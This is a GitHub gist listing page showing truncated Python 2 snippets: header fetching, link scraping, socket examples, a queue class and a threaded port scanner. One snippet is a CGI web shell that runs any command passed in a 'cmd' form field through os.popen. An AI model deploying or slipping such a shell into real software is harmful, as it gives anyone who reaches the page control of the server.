Skip to content

Instantly share code, notes, and snippets.

@psaria
psaria / gist:4428338
Created January 1, 2013 16:16
receive all headers
from urllib import urlopen
res = urlopen('http://ya.ru')
print res.headers
@psaria
psaria / gist:4427219
Last active December 10, 2015 11:19
all urls from habrahabr.ru
#!/usr/bin/env python
import urllib
from bs4 import BeautifulSoup
html = urllib.urlopen('http://habrahabr.ru')
print "Scraping url: %s" % html.code
bt = BeautifulSoup(html.read(), "lxml")
print bt.title
allLinks = bt.find_all('a')
@psaria
psaria / gist:4419352
Created December 31, 2012 12:01
simple download % realization
#!/usr/bin/python
import subprocess
myurl = 'http://blurredlogic.net/data/tut/Ethical_HackingV6/CEH-v6_Instructor_slides/CEHv6%20Module%2000%20%20Student%20Introduction.pdf'
subprocess.call(["wget", "-r", "-np", "-A", "files", myurl])
#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import struct
import binascii
def tcp_packet(ip_hdr):
print "###[ IP ]###"
print " proto= tcp"
#!/usr/bin/env python
import cgi,os,re,sys
form = cgi.FieldStorage()
cmd = form.getvalue('cmd', '')
osexe = os.popen(cmd)
dirt = os.getcwd()+'/'
prognm = sys.argv[0].strip()
progfl = re.findall(dirt+'(.*)',prognm)[0]
osinf = os.uname()
info='''System : %s %s %s %s''' %(osinf[0],osinf[2],osinf[3],osinf[4])
@psaria
psaria / simple OOP with math
Created November 8, 2012 13:07
simple OOP with math
class Valuta:
def __init__(self, y, t):
self.yest_k = y
self.today_k = t
self.soot(y,t)
def soot(self, y,t):
self.balans = (t*100)/y-100
if self.balans > 0:
self.prognoz = 'rost, not sale'
else:
import Queue
class Job(object):
def __init__(self, priority, description):
self.priority = priority
self.description = description
print 'New job:', description
return
def __cmp__(self, other):
return cmp(self.priority, other.priority)
import threading
import socket
import Queue
class Scanner(threading.Thread):
def __init__(self,queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
import socket
import sys
from thread import *
HOST = '127.0.0.1' # Symbolic name meaning all available interfaces
PORT = 8888 # Arbitrary non-privileged port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
#Socket client example in python
import socket #for sockets
import sys #for exit
#create an INET, STREAMing socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
print 'Failed to create socket'